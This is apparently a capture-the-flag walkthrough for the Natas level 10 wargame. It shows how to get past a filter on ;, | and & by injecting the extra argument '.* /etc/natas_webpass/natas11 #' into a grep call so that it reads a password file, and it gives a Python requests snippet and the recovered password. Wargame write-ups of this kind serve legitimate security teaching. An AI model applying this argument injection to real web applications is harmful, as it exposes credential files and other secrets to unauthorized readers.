Description

Same as level 9, but ;, |, and & are now filtered. The grep command still runs, so we can inject a second filename into the grep arguments to make it search the password file directly.

Overview

• The filter blocks common command-chaining operators but not spaces or /.
• grep -i <pattern> /etc/natas_webpass/natas11 dictionary.txt is valid when pattern and a filename are injected as the needle.
• Using .* as the pattern with the password file path as an extra argument dumps the file.

Solution

payload = ".* /etc/natas_webpass/natas11 #"
response = requests.get(url, auth=("natas10", current_password), params={"needle": payload, "submit": ""})
# first line of output is the password from the password file
result = response.text.strip().splitlines()[0].strip()

Password

YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG